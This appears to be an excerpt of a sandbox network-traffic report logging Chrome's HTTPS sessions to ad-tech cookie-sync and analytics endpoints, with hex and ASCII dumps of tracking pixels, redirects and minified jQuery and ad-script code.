2024-05-23 22:35:05 UTC	1390	IN	Data Raw: 3b 28 7b 7d 29 5b 33 5d 3d 64 61 28 70 28 6e 65 77 20 6e 28 6c 2c 22 68 74 74 70 73 3a 2f 2f 73 30 2e 32 6d 64 6e 2e 6e 65 74 2f 61 64 73 2f 72 69 63 68 6d 65 64 69 61 2f 73 74 75 64 69 6f 5f 63 61 6e 61 72 79 2f 6d 75 2f 74 65 6d 70 6c 61 74 65 73 2f 68 69 66 69 2f 68 69 66 69 5f 63 61 6e 61 72 79 2e 6a 73 22 29 29 29 3b 76 61 72 20 75 61 3d 2f 5e 28 5b 5e 3b 5d 2b 29 3b 28 5c 64 2b 29 3b 28 5b 5c 73 5c 53 5d 2a 29 24 2f 3b 76 61 72 20 76 61 3d 2f 5e 28 5b 61 2d 7a 30 2d 39 5d 28 5b 61 2d 7a 30 2d 39 2d 5d 7b 30 2c 36 31 7d 5b 61 2d 7a 30 2d 39 5d 29 3f 5c 2e 73 61 66 65 66 72 61 6d 65 5c 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 5c 2e 63 6f 6d 7c 74 70 63 5c 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 5c 2e 63 6f 6d 7c 73 65 63 75 Data Ascii: ;({})[3]=da(p(new n(l,"https://s0.2mdn.net/ads/richmedia/studio_canary/mu/templates/hifi/hifi_canary.js")));var ua=/^([^;]+);(\d+);([\s\S]*)$/;var va=/^([a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?\.safeframe\.googlesyndication\.com\|tpc\.googlesyndication\.com\|secu
2024-05-23 22:35:05 UTC	1309	IN	Data Raw: 74 22 2c 35 30 37 29 3b 76 2e 65 72 72 6f 72 26 26 76 2e 6d 65 74 61 26 26 76 2e 69 64 7c 7c 28 76 3d 6e 65 77 20 68 61 29 3b 69 66 28 76 2e 6d 73 67 29 7b 76 61 72 20 43 61 3d 76 2e 6d 73 67 2e 73 75 62 73 74 72 69 6e 67 28 30 2c 35 31 32 29 3b 49 2e 67 2e 70 75 73 68 28 32 29 3b 49 2e 68 5b 32 5d 3d 7a 28 22 6d 73 67 22 2c 43 61 29 7d 76 61 72 20 44 61 3d 5b 76 2e 6d 65 74 61 7c 7c 7b 7d 5d 3b 49 2e 67 2e 70 75 73 68 28 33 29 3b 49 2e 68 5b 33 5d 3d 44 61 3b 76 61 72 20 4a 3d 66 2c 4b 3d 5b 5d 2c 4c 2c 4d 3d 6e 75 6c 6c 2c 4e 3b 64 6f 7b 4e 3d 4a 3b 76 61 72 20 50 3b 74 72 79 7b 76 61 72 20 51 3b 69 66 28 51 3d 21 21 4e 26 26 6e 75 6c 6c 21 3d 4e 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 62 3a 7b 74 72 79 7b 77 28 4e 2e 66 6f 6f 29 3b 51 3d 21 30 3b Data Ascii: t",507);v.error&&v.meta&&v.id\|\|(v=new ha);if(v.msg){var Ca=v.msg.substring(0,512);I.g.push(2);I.h[2]=z("msg",Ca)}var Da=[v.meta\|\|{}];I.g.push(3);I.h[3]=Da;var J=f,K=[],L,M=null,N;do{N=J;var P;try{var Q;if(Q=!!N&&null!=N.location.href)b:{try{w(N.foo);Q=!0;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
446	192.168.2.6	50233	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	436	OUT	GET /usersync?b=dit&i=di_11fba54761394fc5986e8 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:05 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:05 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:05 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
447	192.168.2.6	50265	198.47.127.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	1278	OUT	GET /AdServer/SPug?partnerID=133799&gdpr=0&gdpr_consent=&us_privacy=1YNN HTTP/1.1 Host: simage4.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=2; pi=0:3; DPSync3=1717632000%3A219_197_201_245_241_227_226; SyncRTB3=1717632000%3A56_21_71_220_13_233_22_264_251_54_266_55_3_8_46%7C1717718400%3A35%7C1717027200%3A15_223%7C1717286400%3A63%7C1719014400%3A203; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; PugT=1716503703
2024-05-23 22:35:05 UTC	408	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:05 GMT Transfer-Encoding: chunked Connection: close Set-Cookie: SPugT=1716503705; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:05 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
448	192.168.2.6	50210	34.247.233.198	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	715	OUT	GET /usersync?b=bsw&i=ad3998d2-fd62-4225-919d-66f459efadb2&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://rtb.gumgum.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=e_12ea1dd2-77f0-49d8-8aef-90768e12d7ac
2024-05-23 22:35:05 UTC	210	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:05 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-05-23 22:35:05 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
449	192.168.2.6	50260	82.145.213.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	709	OUT	GET /pub/sync?pubid=pub8730968190912 HTTP/1.1 Host: t.adx.opera.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	809	IN	HTTP/1.1 302 Found Server: Tuser Date: Thu, 23 May 2024 22:35:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 166 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPUa81a22b1334148ecb90f459b2fd358d9 Pragma: no-cache Set-Cookie: UID=OPUa81a22b1334148ecb90f459b2fd358d9; Path=/; Domain=adx.opera.com; Max-Age=31536000; Secure; SameSite=None
2024-05-23 22:35:05 UTC	166	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 6a 62 32 52 6c 50 54 4d 30 4f 44 6b 6d 64 47 77 39 4e 44 4d 79 4d 44 41 3d 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 4f 50 55 61 38 31 61 32 32 62 31 33 33 34 31 34 38 65 63 62 39 30 66 34 35 39 62 32 66 64 33 35 38 64 39 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0ODkmdGw9NDMyMDA=&piggybackCookie=OPUa81a22b1334148ecb90f459b2fd358d9">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.6	50230	85.114.159.118	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	720	OUT	GET /cookie/?ssp=9&gdpr=0&gdpr_consent= HTTP/1.1 Host: dsp.adfarm1.adition.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	519	IN	HTTP/1.1 302 Found Server: nginx Date: Thu, 23 May 2024 22:35:05 GMT Transfer-Encoding: chunked Connection: close p3p: policyref="http://imagesrv.adition.com/w3c/p3p.xml",CP="NON DSP ADM DEV PSD IVDo OTPi OUR IND STP PHY PRE NAV UNI" Set-Cookie: UserID1=7372327276449101969; Max-Age=7776000; domain=.adfarm1.adition.com; Path=/; SameSite=None; Secure Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMzOTkmdGw9NDMyMDA%3D&piggybackCookie=7372327276449101969&gdpr=0&gdpr_consent=
2024-05-23 22:35:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
451	192.168.2.6	50267	185.89.211.84	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	897	OUT	GET /getuid?https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dappnexus%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586
2024-05-23 22:35:05 UTC	1478	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:35:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://pbs.yahoo.com/setuid?bidder=appnexus&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=9165965397510453586 AN-X-Request-Uuid: b00637ec-4bb2-4541-9df3-f67344524de9 Set-Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:05 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:35:05 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:05 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 959.bm-nginx-loadbalancer.mgmt.ams3.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.6	50223	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	574	OUT	GET /psstatic/aolhelp-prod/18.5.53/assets/js/vendor/jquery-2.0.1.min.js HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:05 UTC	486	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 197314 Content-Type: application/javascript Date: Thu, 23 May 2024 22:35:05 GMT Etag: "aa9a6dc056f54e67ca23c4dd89128c67" Last-Modified: Mon, 06 May 2024 22:01:34 GMT Server: ECAcc (lhd/3594) Vary: Accept-Encoding x-amz-id-2: JIv0vDzgi9PZFIk+8KEgx8Y770SHjlQUwAM7e4kdGrRbh7H34BNVX7lDsZdvwglEEfTajEAdhpg= x-amz-request-id: 5YSH3JGNZTAVQAMH x-amz-server-side-encryption: AES256 X-Cache: HIT Content-Length: 83518 Connection: close
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 32 2e 30 2e 31 20 7c 20 28 63 29 20 32 30 30 35 2c 20 32 30 31 33 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 2c 20 49 6e 63 2e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 0a 2f 2f 40 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 6a 71 75 65 72 79 2d 32 2e 30 2e 31 2e 6d 69 6e 2e 6d 61 70 0a 2a 2f 0a 28 66 75 6e 63 74 69 6f 6e 28 65 2c 75 6e 64 65 66 69 6e 65 64 29 7b 76 61 72 20 74 2c 6e 2c 72 3d 74 79 70 65 6f 66 20 75 6e 64 65 66 69 6e 65 64 2c 69 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2c 6f 3d 65 2e 64 6f 63 75 6d 65 6e 74 2c 73 3d 6f 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 61 3d 65 2e 6a 51 75 65 72 79 2c 75 3d 65 2e 24 2c 6c 3d 7b 7d 2c 63 3d 5b 5d 2c 66 3d 22 32 2e 30 2e Data Ascii: /! jQuery v2.0.1 \| (c) 2005, 2013 jQuery Foundation, Inc. \| jquery.org/license//@ sourceMappingURL=jquery-2.0.1.min.map/(function(e,undefined){var t,n,r=typeof undefined,i=e.location,o=e.document,s=o.documentElement,a=e.jQuery,u=e.$,l={},c=[],f="2.0.
2024-05-23 22:35:05 UTC	1	IN	Data Raw: 20 Data Ascii:
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 4a 2e 43 48 49 4c 44 2e 74 65 73 74 28 65 5b 30 5d 29 3f 6e 75 6c 6c 3a 28 65 5b 33 5d 26 26 65 5b 34 5d 21 3d 3d 75 6e 64 65 66 69 6e 65 64 3f 65 5b 32 5d 3d 65 5b 34 5d 3a 6e 26 26 56 2e 74 65 73 74 28 6e 29 26 26 28 74 3d 76 74 28 6e 2c 21 30 29 29 26 26 28 74 3d 6e 2e 69 6e 64 65 78 4f 66 28 22 29 22 2c 6e 2e 6c 65 6e 67 74 68 2d 74 29 2d 6e 2e 6c 65 6e 67 74 68 29 26 26 28 65 5b 30 5d 3d 65 5b 30 5d 2e 73 6c 69 63 65 28 30 2c 74 29 2c 65 5b 32 5d 3d 6e 2e 73 6c 69 63 65 28 30 2c 74 29 29 2c 65 2e 73 6c 69 63 65 28 30 2c 33 29 29 7d 7d 2c 66 69 6c 74 65 72 3a 7b 54 41 47 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 2e 72 65 70 6c 61 63 65 28 6e 74 2c 72 74 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 72 65 74 75 72 6e 22 2a 22 3d 3d Data Ascii: J.CHILD.test(e[0])?null:(e[3]&&e[4]!==undefined?e[2]=e[4]:n&&V.test(n)&&(t=vt(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(nt,rt).toLowerCase();return"*"==
2024-05-23 22:35:05 UTC	16383	IN	Data Raw: 29 7b 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 72 29 7d 7d 29 7d 2c 63 6c 65 61 72 51 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 71 75 65 75 65 28 65 7c 7c 22 66 78 22 2c 5b 5d 29 7d 2c 70 72 6f 6d 69 73 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 31 2c 69 3d 78 2e 44 65 66 65 72 72 65 64 28 29 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 2d 2d 72 7c 7c 69 2e 72 65 73 6f 6c 76 65 57 69 74 68 28 6f 2c 5b 6f 5d 29 7d 3b 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 65 26 26 28 74 3d 65 2c 65 3d 75 6e 64 65 66 69 6e 65 64 29 2c 65 3d 65 7c 7c 22 66 78 22 3b 77 68 69 6c 65 28 73 2d 2d 29 6e 3d 48 2e 67 65 74 28 6f 5b 73 5d 2c Data Ascii: ){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e\|\|"fx",[])},promise:function(e,t){var n,r=1,i=x.Deferred(),o=this,s=this.length,a=function(){--r\|\|i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=undefined),e=e\|\|"fx";while(s--)n=H.get(o[s],
2024-05-23 22:35:05 UTC	2	IN	Data Raw: 63 75 Data Ascii: cu
2024-05-23 22:35:06 UTC	16383	IN	Data Raw: 6d 65 6e 74 7c 7c 65 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3a 78 2e 6d 65 72 67 65 28 5b 5d 2c 65 2e 63 68 69 6c 64 4e 6f 64 65 73 29 7d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 78 2e 66 6e 5b 65 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 72 29 7b 76 61 72 20 69 3d 78 2e 6d 61 70 28 74 68 69 73 2c 74 2c 6e 29 3b 72 65 74 75 72 6e 22 55 6e 74 69 6c 22 21 3d 3d 65 2e 73 6c 69 63 65 28 2d 35 29 26 26 28 72 3d 6e 29 2c 72 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 72 26 26 28 69 3d 78 2e 66 69 6c 74 65 72 28 72 2c 69 29 29 2c 74 68 69 73 2e 6c 65 6e 67 74 68 3e 31 26 26 28 4b 5b 65 5d 7c 7c 78 2e 75 6e 69 71 75 65 28 69 29 2c 4a 2e 74 65 73 74 28 65 29 26 26 69 2e 72 65 76 65 72 73 65 28 29 29 2c 74 68 69 73 2e Data Ascii: ment\|\|e.contentWindow.document:x.merge([],e.childNodes)}},function(e,t){x.fn[e]=function(n,r){var i=x.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=x.filter(r,i)),this.length>1&&(K[e]\|\|x.unique(i),J.test(e)&&i.reverse()),this.
2024-05-23 22:35:06 UTC	16383	IN	Data Raw: 64 28 72 29 3a 65 29 7d 29 2e 63 6f 6d 70 6c 65 74 65 28 6e 26 26 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 73 2e 65 61 63 68 28 6e 2c 6f 7c 7c 5b 65 2e 72 65 73 70 6f 6e 73 65 54 65 78 74 2c 74 2c 65 5d 29 7d 29 2c 74 68 69 73 7d 2c 78 2e 65 61 63 68 28 5b 22 61 6a 61 78 53 74 61 72 74 22 2c 22 61 6a 61 78 53 74 6f 70 22 2c 22 61 6a 61 78 43 6f 6d 70 6c 65 74 65 22 2c 22 61 6a 61 78 45 72 72 6f 72 22 2c 22 61 6a 61 78 53 75 63 63 65 73 73 22 2c 22 61 6a 61 78 53 65 6e 64 22 5d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 78 2e 66 6e 5b 74 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6f 6e 28 74 2c 65 29 7d 7d 29 2c 78 2e 65 78 74 65 6e 64 28 7b 61 63 74 69 76 65 3a 30 2c 6c 61 73 74 4d 6f 64 69 66 69 65 64 3a 7b 7d 2c 65 Data Ascii: d(r):e)}).complete(n&&function(e,t){s.each(n,o\|\|[e.responseText,t,e])}),this},x.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){x.fn[t]=function(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},e
2024-05-23 22:35:06 UTC	1600	IN	Data Raw: 68 69 73 2e 6f 66 66 73 65 74 28 29 2c 78 2e 6e 6f 64 65 4e 61 6d 65 28 65 5b 30 5d 2c 22 68 74 6d 6c 22 29 7c 7c 28 72 3d 65 2e 6f 66 66 73 65 74 28 29 29 2c 72 2e 74 6f 70 2b 3d 78 2e 63 73 73 28 65 5b 30 5d 2c 22 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 22 2c 21 30 29 2c 72 2e 6c 65 66 74 2b 3d 78 2e 63 73 73 28 65 5b 30 5d 2c 22 62 6f 72 64 65 72 4c 65 66 74 57 69 64 74 68 22 2c 21 30 29 29 2c 7b 74 6f 70 3a 74 2e 74 6f 70 2d 72 2e 74 6f 70 2d 78 2e 63 73 73 28 6e 2c 22 6d 61 72 67 69 6e 54 6f 70 22 2c 21 30 29 2c 6c 65 66 74 3a 74 2e 6c 65 66 74 2d 72 2e 6c 65 66 74 2d 78 2e 63 73 73 28 6e 2c 22 6d 61 72 67 69 6e 4c 65 66 74 22 2c 21 30 29 7d 7d 7d 2c 6f 66 66 73 65 74 50 61 72 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 Data Ascii: his.offset(),x.nodeName(e[0],"html")\|\|(r=e.offset()),r.top+=x.css(e[0],"borderTopWidth",!0),r.left+=x.css(e[0],"borderLeftWidth",!0)),{top:t.top-r.top-x.css(n,"marginTop",!0),left:t.left-r.left-x.css(n,"marginLeft",!0)}}},offsetParent:function(){return th

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.6	50268	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:05 UTC	1591	OUT	POST /p?s=1197805788&t=PIcpFyN9eVBgRCEK,0.4833452803050875&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503699%04A_prems%03236%04_E%03dwell%04_ts%031716503703%04_ms%03992%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site 